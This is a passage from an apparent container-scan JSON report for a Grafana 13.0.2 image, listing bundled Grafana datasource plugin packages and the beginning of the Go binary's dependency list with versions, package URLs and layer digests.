"2026-09-03T13:06:20.573Z", "LastModifiedDate": "2026-09-09T20:41:07.123Z" } ] }, { "Target": "Node.js", "Class": "lang-pkgs", "Type": "node-pkg", "Packages": [ { "ID": "@grafana-plugins/grafana-azure-monitor-datasource@13.0.2", "Name": "@grafana-plugins/grafana-azure-monitor-datasource", "Identifier": { "PURL": "pkg:npm/%40grafana-plugins/grafana-azure-monitor-datasource@13.0.2", "UID": "66d81266c107e434" }, "Version": "13.0.2", "Layer": { "DiffID": "sha256:0413c9507387a8d054e0d2e26aedd686c1844752fe4281df08582b07088802fd" }, "FilePath": "usr/share/grafana/public/app/plugins/datasource/azuremonitor/package.json", "AnalyzedBy": "node-pkg" }, { "ID": "@grafana-plugins/grafana-postgresql-datasource@13.0.2", "Name": "@grafana-plugins/grafana-postgresql-datasource", "Identifier": { "PURL": "pkg:npm/%40grafana-plugins/grafana-postgresql-datasource@13.0.2", "UID": "7063b961ac192a2c" }, "Version": "13.0.2", "Layer": { "DiffID": "sha256:0413c9507387a8d054e0d2e26aedd686c1844752fe4281df08582b07088802fd" }, "FilePath": "usr/share/grafana/public/app/plugins/datasource/grafana-postgresql-datasource/package.json", "AnalyzedBy": "node-pkg" }, { "ID": "@grafana-plugins/grafana-pyroscope-datasource@13.0.2", "Name": "@grafana-plugins/grafana-pyroscope-datasource", "Identifier": { "PURL": "pkg:npm/%40grafana-plugins/grafana-pyroscope-datasource@13.0.2", "UID": "cc9ac5b0348b8e91" }, "Version": "13.0.2", "Layer": { "DiffID": "sha256:0413c9507387a8d054e0d2e26aedd686c1844752fe4281df08582b07088802fd" }, "FilePath": "usr/share/grafana/public/app/plugins/datasource/grafana-pyroscope-datasource/package.json", "AnalyzedBy": "node-pkg" }, { "ID": "@grafana-plugins/grafana-testdata-datasource@13.0.2", "Name": "@grafana-plugins/grafana-testdata-datasource", "Identifier": { "PURL": "pkg:npm/%40grafana-plugins/grafana-testdata-datasource@13.0.2", "UID": "801645c8859dfd64" }, "Version": "13.0.2", "Layer": { "DiffID": "sha256:0413c9507387a8d054e0d2e26aedd686c1844752fe4281df08582b07088802fd" }, "FilePath": "usr/share/grafana/public/app/plugins/datasource/grafana-testdata-datasource/package.json", "AnalyzedBy": "node-pkg" }, { "ID": "@grafana-plugins/graphite@13.0.2", "Name": "@grafana-plugins/graphite", "Identifier": { "PURL": "pkg:npm/%40grafana-plugins/graphite@13.0.2", "UID": "7819de83d476249b" }, "Version": "13.0.2", "Layer": { "DiffID": "sha256:0413c9507387a8d054e0d2e26aedd686c1844752fe4281df08582b07088802fd" }, "FilePath": "usr/share/grafana/public/app/plugins/datasource/graphite/package.json", "AnalyzedBy": "node-pkg" }, { "ID": "@grafana-plugins/jaeger@13.0.2", "Name": "@grafana-plugins/jaeger", "Identifier": { "PURL": "pkg:npm/%40grafana-plugins/jaeger@13.0.2", "UID": "9fc5aae5a51cee55" }, "Version": "13.0.2", "Layer": { "DiffID": "sha256:0413c9507387a8d054e0d2e26aedd686c1844752fe4281df08582b07088802fd" }, "FilePath": "usr/share/grafana/public/app/plugins/datasource/jaeger/package.json", "AnalyzedBy": "node-pkg" }, { "ID": "@grafana-plugins/loki@13.0.2", "Name": "@grafana-plugins/loki", "Identifier": { "PURL": "pkg:npm/%40grafana-plugins/loki@13.0.2", "UID": "49c67b23afc9164a" }, "Version": "13.0.2", "Layer": { "DiffID": "sha256:0413c9507387a8d054e0d2e26aedd686c1844752fe4281df08582b07088802fd" }, "FilePath": "usr/share/grafana/public/app/plugins/datasource/loki/package.json", "AnalyzedBy": "node-pkg" }, { "ID": "@grafana-plugins/mssql@13.0.2", "Name": "@grafana-plugins/mssql", "Identifier": { "PURL": "pkg:npm/%40grafana-plugins/mssql@13.0.2", "UID": "14a1bb79c1915222" }, "Version": "13.0.2", "Layer": { "DiffID": "sha256:0413c9507387a8d054e0d2e26aedd686c1844752fe4281df08582b07088802fd" }, "FilePath": "usr/share/grafana/public/app/plugins/datasource/mssql/package.json", "AnalyzedBy": "node-pkg" }, { "ID": "@grafana-plugins/mysql@13.0.2", "Name": "@grafana-plugins/mysql", "Identifier": { "PURL": "pkg:npm/%40grafana-plugins/mysql@13.0.2", "UID": "5539dd0ebb7569b5" }, "Version": "13.0.2", "Layer": { "DiffID": "sha256:0413c9507387a8d054e0d2e26aedd686c1844752fe4281df08582b07088802fd" }, "FilePath": "usr/share/grafana/public/app/plugins/datasource/mysql/package.json", "AnalyzedBy": "node-pkg" }, { "ID": "@grafana-plugins/opentsdb@13.0.2", "Name": "@grafana-plugins/opentsdb", "Identifier": { "PURL": "pkg:npm/%40grafana-plugins/opentsdb@13.0.2", "UID": "9236aedd1f25e007" }, "Version": "13.0.2", "Layer": { "DiffID": "sha256:0413c9507387a8d054e0d2e26aedd686c1844752fe4281df08582b07088802fd" }, "FilePath": "usr/share/grafana/public/app/plugins/datasource/opentsdb/package.json", "AnalyzedBy": "node-pkg" }, { "ID": "@grafana-plugins/parca@13.0.2", "Name": "@grafana-plugins/parca", "Identifier": { "PURL": "pkg:npm/%40grafana-plugins/parca@13.0.2", "UID": "e5811d04e69857e9" }, "Version": "13.0.2", "Layer": { "DiffID": "sha256:0413c9507387a8d054e0d2e26aedd686c1844752fe4281df08582b07088802fd" }, "FilePath": "usr/share/grafana/public/app/plugins/datasource/parca/package.json", "AnalyzedBy": "node-pkg" }, { "ID": "@grafana-plugins/stackdriver@13.0.2", "Name": "@grafana-plugins/stackdriver", "Identifier": { "PURL": "pkg:npm/%40grafana-plugins/stackdriver@13.0.2", "UID": "49830afb14f78da8" }, "Version": "13.0.2", "Layer": { "DiffID": "sha256:0413c9507387a8d054e0d2e26aedd686c1844752fe4281df08582b07088802fd" }, "FilePath": "usr/share/grafana/public/app/plugins/datasource/cloud-monitoring/package.json", "AnalyzedBy": "node-pkg" }, { "ID": "@grafana-plugins/tempo@13.0.2", "Name": "@grafana-plugins/tempo", "Identifier": { "PURL": "pkg:npm/%40grafana-plugins/tempo@13.0.2", "UID": "35eeaeb8eacdac29" }, "Version": "13.0.2", "Layer": { "DiffID": "sha256:0413c9507387a8d054e0d2e26aedd686c1844752fe4281df08582b07088802fd" }, "FilePath": "usr/share/grafana/public/app/plugins/datasource/tempo/package.json", "AnalyzedBy": "node-pkg" }, { "ID": "@grafana-plugins/zipkin@13.0.2", "Name": "@grafana-plugins/zipkin", "Identifier": { "PURL": "pkg:npm/%40grafana-plugins/zipkin@13.0.2", "UID": "69dc84d5ed418645" }, "Version": "13.0.2", "Layer": { "DiffID": "sha256:0413c9507387a8d054e0d2e26aedd686c1844752fe4281df08582b07088802fd" }, "FilePath": "usr/share/grafana/public/app/plugins/datasource/zipkin/package.json", "AnalyzedBy": "node-pkg" } ] }, { "Target": "usr/share/grafana/bin/grafana", "Class": "lang-pkgs", "Type": "gobinary", "Packages": [ { "ID": "github.com/grafana/grafana@v13.0.2", "Name": "github.com/grafana/grafana", "Identifier": { "PURL": "pkg:golang/github.com/grafana/grafana@13.0.2", "UID": "8804b1f245db191a" }, "Version": "13.0.2", "Relationship": "root", "DependsOn": [ "./apps/live", "buf.build/gen/go/parca-dev/parca/connectrpc/go@v1.18.1-20250703125925-3f0fcf4bff96.1", "buf.build/gen/go/parca-dev/parca/protocolbuffers/go@v1.36.2-20250703125925-3f0fcf4bff96.1", "cel.dev/expr@v0.25.1", "cloud.google.com/go/auth/oauth2adapt@v0.2.8", "cloud.google.com/go/auth@v0.17.0", "cloud.google.com/go/compute/metadata@v0.9.0", "cloud.google.com/go/iam@v1.5.3", "cloud.google.com/go/monitoring@v1.24.3", "cloud.google.com/go/storage@v1.57.0", "cloud.google.com/go@v0.123.0", "connectrpc.com/connect@v1.19.1", "dario.cat/mergo@v1.0.2", "filippo.io/age@v1.2.1", "github.com/1NCE-GmbH/grpc-go-pool@v0.0.0-20231117122434-2a5bb974daa2", "github.com/Azure/azure-pipeline-go@v0.2.3", "github.com/Azure/azure-sdk-for-go/sdk/azcore@v1.20.0", "github.com/Azure/azure-sdk-for-go/sdk/azidentity@v1.13.1", "github.com/Azure/azure-sdk-for-go/sdk/internal@v1.11.2", "github.com/Azure/azure-sdk-for-go/sdk/storage/azblob@v1.6.2", "github.com/Azure/azure-storage-blob-go@v0.15.0", "github.com/Azure/go-autorest/autorest/to@v0.4.1", "github.com/Azure/go-ntlmssp@v0.1.1", "github.com/AzureAD/microsoft-authentication-library-for-go@v1.6.0", "github.com/BurntSushi/toml@v1.5.0", "github.com/FZambia/eagle@v0.2.0", "github.com/GoogleCloudPlatform/opentelemetry-operations-go/detectors/gcp@v1.31.0", "github.com/GoogleCloudPlatform/opentelemetry-operations-go/exporter/metric@v0.54.0", "github.com/GoogleCloudPlatform/opentelemetry-operations-go/internal/resourcemapping@v0.54.0", "github.com/IBM/pgxpoolprometheus@v1.1.2", "github.com/Machiel/slugify@v1.0.1", "github.com/Masterminds/goutils@v1.1.1", "github.com/Masterminds/semver/v3@v3.4.0", "github.com/Masterminds/semver@v1.5.0", "github.com/Masterminds/sprig/v3@v3.3.0", "github.com/Masterminds/squirrel@v1.5.4", "github.com/NYTimes/gziphandler@v1.1.1", "github.com/ProtonMail/go-crypto@v1.3.0", "github.com/RoaringBitmap/roaring/v2@v2.4.5", "github.com/VividCortex/mysqlerr@v1.0.0", "github.com/Yiling-J/theine-go@v0.6.2", "github.com/agext/levenshtein@v1.2.1", "github.com/alecthomas/units@v0.0.0-20240927000941-0f3dac36c52b", "github.com/andybalholm/brotli@v1.2.0", "github.com/antlr4-go/antlr/v4@v4.13.1", "github.com/apache/arrow-go/v18@v18.5.2", "github.com/apache/thrift@v0.23.1-0.20260429145742-d2acd3c49e58", "github.com/apapsch/go-jsonmerge/v2@v2.0.0", "github.com/apparentlymart/go-textseg/v15@v15.0.0", "github.com/armon/go-metrics@v0.4.1", "github.com/armon/go-radix@v1.0.0", "github.com/at-wat/mqtt-go@v0.19.6", "github.com/aws/aws-sdk-go-v2/aws/protocol/eventstream@v1.7.10", "github.com/aws/aws-sdk-go-v2/config@v1.32.7", "github.com/aws/aws-sdk-go-v2/credentials@v1.19.7", "github.com/aws/aws-sdk-go-v2/feature/ec2/imds@v1.18.17", "github.com/aws/aws-sdk-go-v2/feature/s3/manager@v1.20.3", "github.com/aws/aws-sdk-go-v2/internal/configsources@v1.4.23", "github.com/aws/aws-sdk-go-v2/internal/endpoints/v2@v2.7.23", "github.com/aws/aws-sdk-go-v2/internal/ini@v1.8.4", "github.com/aws/aws-sdk-go-v2/internal/v4a@v1.4.24", "github.com/aws/aws-sdk-go-v2/service/cloudwatch@v1.45.3", "github.com/aws/aws-sdk-go-v2/service/cloudwatchlogs@v1.73.0", "github.com/aws/aws-sdk-go-v2/service/ec2@v1.225.2", "github.com/aws/aws-sdk-go-v2/service/internal/accept-encoding@v1.13.9", "github.com/aws/aws-sdk-go-v2/service/internal/checksum@v1.9.15", "github.com/aws/aws-sdk-go-v2/service/internal/presigned-url@v1.13.23", "github.com/aws/aws-sdk-go-v2/service/internal/s3shared@v1.19.23", "github.com/aws/aws-sdk-go-v2/service/oam@v1.18.3", "github.com/aws/aws-sdk-go-v2/service/resourcegroupstaggingapi@v1.26.6", "github.com/aws/aws-sdk-go-v2/service/s3@v1.101.0", "github.com/aws/aws-sdk-go-v2/service/signin@v1.0.5", "github.com/aws/aws-sdk-go-v2/service/sso@v1.30.9", "github.com/aws/aws-sdk-go-v2/service/ssooidc@v1.35.13", "github.com/aws/aws-sdk-go-v2/service/sts@v1.41.6", "github.com/aws/aws-sdk-go-v2@v1.41.7", "github.com/aws/aws-sdk-go@v1.55.7", "github.com/aws/smithy-go@v1.25.1", "github.com/bahlo/generic-list-go@v0.2.0", "github.com/barkimedes/go-deepcopy@v0.0.0-20220514131651-17c30cfc62df", "github.com/benbjohnson/clock@v1.3.5", "github.com/beorn7/perks@v1.0.1", "github.com/bits-and-blooms/bitset@v1.22.0", "github.com/blang/semver/v4@v4.0.0", "github.com/blang/semver@v3.5.1+incompatible", "github.com/blevesearch/bleve/v2@v2.5.7", "github.com/blevesearch/bleve_index_api@v1.3.0", "github.com/blevesearch/geo@v0.2.4", "github.com/blevesearch/go-porterstemmer@v1.0.3", "github.com/blevesearch/gtreap@v0.1.1", "github.com/blevesearch/mmap-go@v1.0.4", "github.com/blevesearch/scorch_segment_api/v2@v2.3.13", "github.com/blevesearch/segment@v0.9.1", "github.com/blevesearch/snowballstem@v0.9.0", "github.com/blevesearch/upsidedown_store_api@v1.0.2", "github.com/blevesearch/vellum@v1.1.0", "github.com/blevesearch/zapx/v11@v11.4.2", "github.com/blevesearch/zapx/v12@v12.4.2", "github.com/blevesearch/zapx/v13@v13.4.2", "github.com/blevesearch/zapx/v14@v14.4.2", "github.com/blevesearch/zapx/v15@v15.4.2", "github.com/blevesearch/zapx/v16@v16.2.8", "github.com/bradfitz/gomemcache@v0.0.0-20250403215159-8d39553ac7cf", "github.com/bufbuild/protocompile@v0.14.1", "github.com/buger/jsonparser@v1.1.2", "github.com/bwmarrin/snowflake@v0.3.0", "github.com/c2h5oh/datasize@v0.0.0-20231215233829-aa82cc1e6500", "github.com/cenkalti/backoff/v4@v4.3.0", "github.com/cenkalti/backoff/v5@v5.0.3", "github.com/centrifugal/centrifuge@v0.38.0", "github.com/centrifugal/protocol@v0.17.0", "github.com/cespare/xxhash/v2@v2.3.0", "github.com/cheekybits/genny@v1.0.0", "github.com/chromedp/cdproto@v0.0.0-20250803210736-d308e07a266d", "github.com/clipperhouse/displaywidth@v0.10.0", "github.com/clipperhouse/uax29/v2@v2.6.0", "github.com/cloudflare/circl@v1.6.3", "github.com/cncf/xds/go@v0.0.0-20251210132809-ee656c7534f5", "github.com/cockroachdb/apd/v2@v2.0.2", "github.com/containerd/errdefs/pkg@v0.3.0", "github.com/containerd/errdefs@v1.0.0", "github.com/coreos/go-semver@v0.3.1", "github.com/coreos/go-systemd/v22@v22.6.0", "github.com/cpuguy83/go-md2man/v2@v2.0.7", "github.com/davecgh/go-spew@v1.1.2-0.20180830191138-d8f796af33cc", "github.com/dennwc/varint@v1.0.0", "github.com/dgraph-io/badger/v4@v4.9.1", "github.com/dgraph-io/ristretto/v2@v2.2.0", "github.com/dgryski/go-rendezvous@v0.0.0-20200823014737-9f7001d12a5f", "github.com/diegoholiveira/jsonlogic/v3@v3.7.4", "github.com/distribution/reference@v0.6.0", "github.com/dlmiddlecote/sqlstats@v1.0.2", "github.com/docker/go-connections@v0.6.0", "github.com/docker/go-units@v0.5.0", "github.com/dolthub/flatbuffers/v23@v23.3.3-dh.2", "github.com/dolthub/jsonpath@v0.0.2-0.20240227200619-19675ab05c71", "github.com/dolthub/maphash@v0.1.0", "github.com/dolthub/vitess@v0.0.0-20260225173707-20566e4abe9e", "github.com/dustin/go-humanize@v1.0.1", "github.com/edsrzf/mmap-go@v1.2.0", "github.com/elazarl/goproxy@v1.8.2", "github.com/emicklei/go-restful/v3@v3.13.0", "github.com/emirpasic/gods@v1.18.1", "github.com/envoyproxy/go-control-plane/envoy@v1.36.0", "github.com/envoyproxy/protoc-gen-validate@v1.3.3", "github.com/facette/natsort@v0.0.0-20181210072756-2cd4dd1e2dcb", "github.com/fatih/color@v1.19.0", "github.com/felixge/httpsnoop@v1.0.4", "github.com/fsnotify/fsnotify@v1.9.0", "github.com/fullstorydev/grpchan@v1.1.1", "github.com/fxamacker/cbor/v2@v2.9.0", "github.com/gammazero/deque@v0.2.1", "github.com/gchaincl/sqlhooks@v1.3.0", "github.com/getkin/kin-openapi@v0.133.0", "github.com/go-asn1-ber/asn1-ber@v1.5.4", "github.com/go-jose/go-jose/v4@v4.1.4", "github.com/go-kit/log@v0.2.1", "github.com/go-ldap/ldap/v3@v3.4.4", "github.com/go-logfmt/logfmt@v0.6.1", "github.com/go-logr/logr@v1.4.3", "github.com/go-logr/stdr@v1.2.2", "github.com/go-openapi/analysis@v0.24.3", "github.com/go-openapi/errors@v0.22.7", "github.com/go-openapi/jsonpointer@v0.22.5", "github.com/go-openapi/jsonreference@v0.21.5", "github.com/go-openapi/loads@v0.23.3", "github.com/go-openapi/runtime@v0.28.0", "github.com/go-openapi/spec@v0.22.4", "github.com/go-openapi/strfmt@v0.26.0", "github.com/go-openapi/swag/cmdutils@v0.25.4", "github.com/go-openapi/swag/conv@v0.25.5", "github.com/go-openapi/swag/fileutils@v0.25.5", "github.com/go-openapi/swag/jsonname@v0.25.5", "github.com/go-openapi/swag/jsonutils@v0.25.5", "github.com/go-openapi/swag/loading@v0.25.5", "github.com/go-openapi/swag/mangling@v0.25.5", "github.com/go-openapi/swag/netutils@v0.25.4", "github.com/go-openapi/swag/stringutils@v0.25.5", "github.com/go-openapi/swag/typeutils@v0.25.5", "github.com/go-openapi/swag/yamlutils@v0.25.5", "github.com/go-openapi/swag@v0.25.4", "github.com/go-openapi/validate@v0.25.2", "github.com/go-sourcemap/sourcemap@v2.1.4+incompatible", "github.com/go-sql-driver/mysql@v1.7.1", "github.com/go-stack/stack@v1.8.1", "github.com/go-viper/mapstructure/v2@v2.5.0", "github.com/gobwas/glob@v0.2.3", "github.com/goccy/go-json@v0.10.5", "github.com/gofrs/uuid@v4.4.0+incompatible", "github.com/gogo/googleapis@v1.4.1", "github.com/gogo/protobuf@v1.3.2", "github.com/gogo/status@v1.1.1", "github.com/golang-jwt/jwt/v4@v4.5.2", "github.com/golang-jwt/jwt/v5@v5.3.1", "github.com/golang-migrate/migrate/v4@v4.7.0", "github.com/golang-sql/civil@v0.0.0-20220223132316-b832511892a9", "github.com/golang-sql/sqlexp@v0.1.0", "github.com/golang/mock@v1.7.0-rc.1", "github.com/golang/protobuf@v1.5.4", "github.com/golang/snappy@v1.0.0", "github.com/google/btree@v1.1.3", "github.com/google/cel-go@v0.28.0", "github.com/google/flatbuffers@v25.12.19+incompatible", "github.com/google/gnostic-models@v0.7.1", "github.com/google/gnostic@v0.7.1", "github.com/google/go-cmp@v0.7.0", "github.com/google/go-github/v82@v82.0.0", "github.com/google/go-querystring@v1.2.0", "github.com/google/s2a-go@v0.1.9", "github.com/google/uuid@v1.6.0", "github.com/google/wire@v0.7.0", "github.com/googleapis/enterprise-certificate-proxy@v0.3.7", "github.com/googleapis/gax-go/v2@v2.15.0", "github.com/gorilla/mux@v1.8.1", "github.com/gorilla/websocket@v1.5.4-0.20250319132907-e064f32e3674", "github.com/grafana/alerting@v0.0.0-20260330164719-5946ccd00861", "github.com/grafana/authlib/types@v0.0.0-20260316143530-e1d123886039", "github.com/grafana/authlib@v0.0.0-20260316143530-e1d123886039", "github.com/grafana/cue@v0.0.0-20230926092038-971951014e3f", "github.com/grafana/dataplane/sdata@v0.0.9", "github.com/grafana/dskit@v0.0.0-20260108123158-1a1acfb6ef2e", "github.com/grafana/go-mysql-server@v0.20.2-grafana", "github.com/grafana/gomemcache@v0.0.0-20251127154401-74f93547077b", "github.com/grafana/grafana-app-sdk/logging@v0.51.4", "github.com/grafana/grafana-app-sdk@v0.52.1", "github.com/grafana/grafana-aws-sdk@v1.4.3", "github.com/grafana/grafana-azure-sdk-go/v2@v2.4.0", "github.com/grafana/grafana-cloud-migration-snapshot@v1.10.0", "github.com/grafana/grafana-google-sdk-go@v0.4.2", "github.com/grafana/grafana-plugin-sdk-go@v0.291.0", "github.com/grafana/grafana-prometheus-datasource/pkg/promlib@v0.0.10", "github.com/grafana/grafana/apps/advisor", "github.com/grafana/grafana/apps/alerting/historian", "github.com/grafana/grafana/apps/alerting/notifications", "github.com/grafana/grafana/apps/alerting/rules", "github.com/grafana/grafana/apps/annotation", "github.com/grafana/grafana/apps/collections", "github.com/grafana/grafana/apps/correlations", "github.com/grafana/grafana/apps/dashboard", "github.com/grafana/grafana/apps/dashvalidator", "github.com/grafana/grafana/apps/example", "github.com/grafana/grafana/apps/folder", "github.com/grafana/grafana/apps/iam", "github.com/grafana/grafana/apps/logsdrilldown", "github.com/grafana/grafana/apps/playlist", "github.com/grafana/grafana/apps/plugins", "github.com/grafana/grafana/apps/preferences", "github.com/grafana/grafana/apps/provisioning", "github.com/grafana/grafana/apps/quotas", "github.com/grafana/grafana/apps/scope", "github.com/grafana/grafana/apps/secret", "github.com/grafana/grafana/apps/shorturl", "github.com/grafana/grafana/pkg/aggregator", "github.com/grafana/grafana/pkg/apimachinery", "github.com/grafana/grafana/pkg/apiserver", "github.com/grafana/grafana/pkg/infra/features", "github.com/grafana/grafana/pkg/plugins", "github.com/grafana/grafana/pkg/semconv", "github.com/grafana/grafana/pkg/storage/unified/resource/kv", "github.com/grafana/jsonparser@v0.0.0-20241004153430-023329977675", "github.com/grafana/loki/pkg/push@v0.0.0-20250823105456-332df2b20000", "github.com/grafana/loki/v3@v3.6.4", "github.com/grafana/memberlist@v0.3.1-0.20251126142931-6f9f62ab6f86", "github.com/grafana/nanogit@v0.17.0", "github.com/grafana/otel-profiling-go@v0.5.1", "github.com/grafana/prometheus-alertmanager@v0.25.1-0.20260225120258-18275ca76b0c", "github.com/grafana/pyroscope-go/godeltaprof@v0.1.9", "github.com/grafana/pyroscope/api@v1.2.1-0.20251202111406-6c67b876b686", "github.com/grafana/regexp@v0.0.0-20240518133315-a468a5bfb3bc", "github.com/grafana/sqlds/v5@v5.0.4", "github.com/grafana/tempo@v1.5.1-0.20251027222923-cbe5f845dc7b", "github.com/grpc-ecosystem/go-grpc-middleware/providers/prometheus@v1.1.0", "github.com/grpc-ecosystem/go-grpc-middleware/v2@v2.3.3", "github.com/grpc-ecosystem/go-grpc-middleware@v1.4.0", "github.com/grpc-ecosystem/go-grpc-prometheus@v1.2.1-0.20191002090509-6af20e3a5340", "github.com/grpc-ecosystem/grpc-gateway/v2@v2.28.0", "github.com/hashicorp/consul/api@v1.32.1", "github.com/hashicorp/errwrap@v1.1.0", "github.com/hashicorp/go-cleanhttp@v0.5.2", "github.com/hashicorp/go-hclog@v1.6.3", "github.com/hashicorp/go-immutable-radix@v1.3.1", "github.com/hashicorp/go-metrics@v0.5.4", "github.com/hashicorp/go-msgpack/v2@v2.1.2", "github.com/hashicorp/go-multierror@v1.1.1", "github.com/hashicorp/go-plugin@v1.7.0", "github.com/hashicorp/go-rootcerts@v1.0.2", "github.com/hashicorp/go-secure-stdlib/plugincontainer@v0.5.0", "github.com/hashicorp/go-sockaddr@v1.0.7", "github.com/hashicorp/go-uuid@v1.0.3", "github.com/hashicorp/go-version@v1.7.0", "github.com/hashicorp/golang-lru/v2@v2.0.7", "github.com/hashicorp/golang-lru@v1.0.2", "github.com/hashicorp/hcl/v2@v2.24.0", "github.com/hashicorp/serf@v0.10.2", "github.com/hashicorp/yamux@v0.1.2", "github.com/huandu/xstrings@v1.5.0", "github.com/influxdata/influxdb-client-go/v2@v2.13.0", "github.com/influxdata/influxql@v1.4.0", "github.com/influxdata/line-protocol@v0.0.0-20210922203350-b1ad95c89adf", "github.com/invopop/jsonschema@v0.13.0", "github.com/jackc/pgpassfile@v1.0.0", "github.com/jackc/pgservicefile@v0.0.0-20240606120523-5a60cdf6a761", "github.com/jackc/pgx/v5@v5.9.2", "github.com/jackc/puddle/v2@v2.2.2", "github.com/jaegertracing/jaeger-idl@v0.6.0", "github.com/jcmturner/aescts/v2@v2.0.0", "github.com/jcmturner/dnsutils/v2@v2.0.0", "github.com/jcmturner/gofork@v1.7.6", "github.com/jcmturner/goidentity/v6@v6.0.1", "github.com/jcmturner/gokrb5/v8@v8.4.4", "github.com/jcmturner/rpc/v2@v2.0.3", "github.com/jessevdk/go-flags@v1.6.1", "github.com/jhump/protoreflect@v1.17.0", "github.com/jmespath-community/go-jmespath@v1.1.1", "github.com/jmespath/go-jmespath@v0.4.0", "github.com/jmoiron/sqlx@v1.4.0", "github.com/josharian/intern@v1.0.0", "github.com/joshlf/go-acl@v0.0.0-20200411065538-eae00ae38531", "github.com/jpillora/backoff@v1.0.0", "github.com/json-iterator/go@v1.1.12", "github.com/jszwedko/go-datemath@v0.1.1-0.20230526204004-640a500621d6", "github.com/klauspost/compress@v1.18.5", "github.com/klauspost/cpuid/v2@v2.3.0", "github.com/klauspost/pgzip@v1.2.6", "github.com/kylelemons/godebug@v1.1.0", "github.com/lann/builder@v0.0.0-20180802200727-47ae307949d0", "github.com/lann/ps@v0.0.0-20150810152359-62de8c46ede0", "github.com/lestrrat-go/strftime@v1.0.4", "github.com/lib/pq@v1.10.9", "github.com/m3db/prometheus_remote_client_golang@v0.4.4", "github.com/mailru/easyjson@v0.9.1", "github.com/mattbaird/jsonpatch@v0.0.0-20240118010651-0ba75a80ca38", "github.com/mattetti/filebuffer@v1.0.1", "github.com/mattn/go-colorable@v0.1.14", "github.com/mattn/go-ieproxy@v0.0.12", "github.com/mattn/go-isatty@v0.0.20", "github.com/mattn/go-runewidth@v0.0.19", "github.com/matttproud/golang_protobuf_extensions@v1.0.4", "github.com/maypok86/otter@v1.2.4", "github.com/mdlayher/socket@v0.5.1", "github.com/mdlayher/vsock@v1.2.1", "github.com/mfridman/interpolate@v0.0.2", "github.com/microsoft/go-mssqldb@v1.9.6", "github.com/miekg/dns@v1.1.69", "github.com/mitchellh/copystructure@v1.2.0", "github.com/mitchellh/go-homedir@v1.1.0", "github.com/mitchellh/go-wordwrap@v1.0.1", "github.com/mitchellh/mapstructure@v1.5.1-0.20231216201459-8508981c8b6c", "github.com/mitchellh/reflectwalk@v1.0.2", "github.com/mithrandie/csvq-driver@v1.7.0", "github.com/mithrandie/csvq@v1.18.1", "github.com/mithrandie/go-file/v2@v2.1.0", "github.com/mithrandie/go-text@v1.6.0", "github.com/mithrandie/ternary@v1.1.1", "github.com/moby/docker-image-spec@v1.3.1", "github.com/moby/moby/api@v1.54.1", "github.com/moby/moby/client@v0.4.0", "github.com/modern-go/concurrent@v0.0.0-20180306012644-bacd9c7ef1dd", "github.com/modern-go/reflect2@v1.0.3-0.20250322232337-35a7c28c31ee", "github.com/mohae/deepcopy@v0.0.0-20170929034955-c48cc78d4826", "github.com/mpvl/unique@v0.0.0-20150818121801-cbe035fff7de", "github.com/munnerz/goautoneg@v0.0.0-20191010083416-a7dc8b61c822", "github.com/mwitkow/go-conntrack@v0.0.0-20190716064945-2f068394615f", "github.com/natefinch/wrap@v0.2.0", "github.com/nikunjy/rules@v1.5.0", "github.com/oapi-codegen/runtime@v1.0.0", "github.com/oasdiff/yaml3@v0.0.0-20250309153720-d2182401db90", "github.com/oasdiff/yaml@v0.0.0-20250309154309-f31be36b4037", "github.com/oklog/run@v1.2.0", "github.com/oklog/ulid/v2@v2.1.1", "github.com/oklog/ulid@v1.3.1", "github.com/olekukonko/cat@v0.0.0-20250911104152-50322a0618f6", "github.com/olekukonko/errors@v1.2.0", "github.com/olekukonko/ll@v0.1.6", "github.com/olekukonko/tablewriter@v1.1.4", "github.com/open-feature/go-sdk-contrib/providers/ofrep@v0.1.7", "github.com/open-feature/go-sdk@v1.17.1", "github.com/opencontainers/go-digest@v1.0.0", "github.com/opencontainers/image-spec@v1.1.1", "github.com/openfga/api/proto@v0.0.0-20260319214821-f153694bfc20", "github.com/openfga/language/pkg/go@v0.2.1", "github.com/openfga/openfga@v1.14.2", "github.com/opentracing-contrib/go-grpc@v0.1.2", "github.com/opentracing-contrib/go-stdlib@v1.1.0", "github.com/opentracing/opentracing-go@v1.2.1-0.20220228012449-10b1cf09e00b", "github.com/openzipkin/zipkin-go@v0.4.3", "github.com/patrickmn/go-cache@v2.1.0+incompatible", "github.com/pelletier/go-toml/v2@v2.2.4", "github.com/perimeterx/marshmallow@v1.1.5", "github.com/pierrec/lz4/v4@v4.1.25", "github.com/pires/go-proxyproto@v0.8.1", "github.com/pkg/browser@v0.0.0-20240102092130-5ac0b6a4141c", "github.com/pkg/errors@v0.9.1", "github.com/planetscale/vtprotobuf@v0.6.1-0.20250313105119-ba97887b0a25", "github.com/pmezard/go-difflib@v1.0.1-0.20181226105442-5d4384ee4fb2", "github.com/pressly/goose/v3@v3.27.0", "github.com/prometheus/client_golang@v1.23.2", "github.com/prometheus/client_model@v0.6.2", "github.com/prometheus/common/sigv4@v0.1.0", "github.com/prometheus/common@v0.67.5", "github.com/prometheus/exporter-toolkit@v0.15.1", "github.com/prometheus/otlptranslator@v1.0.0", "github.com/prometheus/procfs@v0.19.2", "github.com/prometheus/prometheus@v0.305.3", "github.com/prometheus/sigv4@v0.2.1", "github.com/puzpuzpuz/xsync/v2@v2.5.1", "github.com/puzpuzpuz/xsync/v4@v4.4.0", "github.com/quagmt/udecimal@v1.9.0", "github.com/redis/go-redis/v9@v9.14.0", "github.com/redis/rueidis@v1.0.72", "github.com/remyoudompheng/bigfft@v0.0.0-20230129092748-24d4a6f8daec", "github.com/rs/cors@v1.11.1", "github.com/russross/blackfriday/v2@v2.1.0", "github.com/sagikazarmark/locafero@v0.11.0", "github.com/sean-/seed@v0.0.0-20170313163322-e2103e2c3529", "github.com/segmentio/asm@v1.2.1", "github.com/segmentio/encoding@v0.5.3", "github.com/sercand/kuberesolver/v6@v6.0.1", "github.com/sethvargo/go-retry@v0.3.0", "github.com/shadowspore/fossil-delta@v0.0.0-20241213113458-1d797d70cbe3", "github.com/shopspring/decimal@v1.4.0", "github.com/shurcooL/httpfs@v0.0.0-20230704072500-f1e31cf0ba5c", "github.com/shurcooL/vfsgen@v0.0.0-20230704071429-0000e147ea92", "github.com/sirupsen/logrus@v1.9.4", "github.com/sony/gobreaker/v2@v2.3.0", "github.com/sourcegraph/conc@v0.3.1-0.20240121214520-5f936abd7ae8", "github.com/spf13/afero@v1.15.0", "github.com/spf13/cast@v1.10.0", "github.com/spf13/cobra@v1.10.2", "github.com/spf13/pflag@v1.0.10", "github.com/spf13/viper@v1.21.0", "github.com/spiffe/go-spiffe/v2@v2.6.0", 